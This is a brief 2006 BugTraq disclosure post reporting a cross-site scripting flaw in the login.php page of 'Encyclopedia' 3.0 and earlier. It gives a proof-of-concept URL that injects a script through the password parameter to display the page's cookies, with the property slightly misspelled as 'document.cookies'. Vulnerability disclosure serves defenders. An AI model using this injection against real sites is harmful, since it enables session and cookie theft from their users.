BugTraq
Encyclopedia <= 3.0 (login.php) CrossSite Scripting - XSS Apr 14 2006 02:47PM
n0m3rcy bsdmail org
# Encyclopedia <= 3.0 (login.php) CrossSite Scripting - XSS
# by n0m3rcy
# Copyright (c) 2006 n0m3rcy <n0m3rcy (at) bsdmail (dot) org [email concealed]>
# Exploit:
www.site.com/login.php?action=form&username=<username>&password=%22%3E%3
Cscript%3Ealert(document.cookies);%3C/script%3E
# Shoutz:
cijfer , my baby , Dag & myself :PpP
# Have phun!

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus